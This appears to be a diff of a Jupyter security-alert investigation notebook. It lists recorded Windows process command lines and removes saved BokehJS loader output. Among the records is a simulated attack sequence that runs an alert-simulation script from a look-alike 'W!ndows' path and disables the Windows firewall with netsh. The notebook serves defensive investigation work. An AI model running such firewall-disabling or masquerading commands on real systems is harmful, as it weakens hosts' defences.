Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmdline unknown\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then pleas...\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@micros...\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\...\",\".\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installso...\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"cmdline unknown\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\Install\\\\{049CD3BD-D98E-4D19-9695...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Install...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Install...\",\"\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\" --install-archive=\\\"C:\\\\Windows...\",\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe --type=crashpad-handler /prefet...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\GoogleCrashHandler.exe...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\GoogleCrashHandler64.e...\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ping PD94bWwg...\",\"cmdline unknown\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2F...\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364...\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8...\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"cmdline unknown\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuest...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll C:\\\\WindowsAzu...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff 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- } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "if security_alert.data_family.name != \"WindowsSecurity\":\n", " raise ValueError('The remainder of this notebook currently only supports Windows. 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\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1831\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - 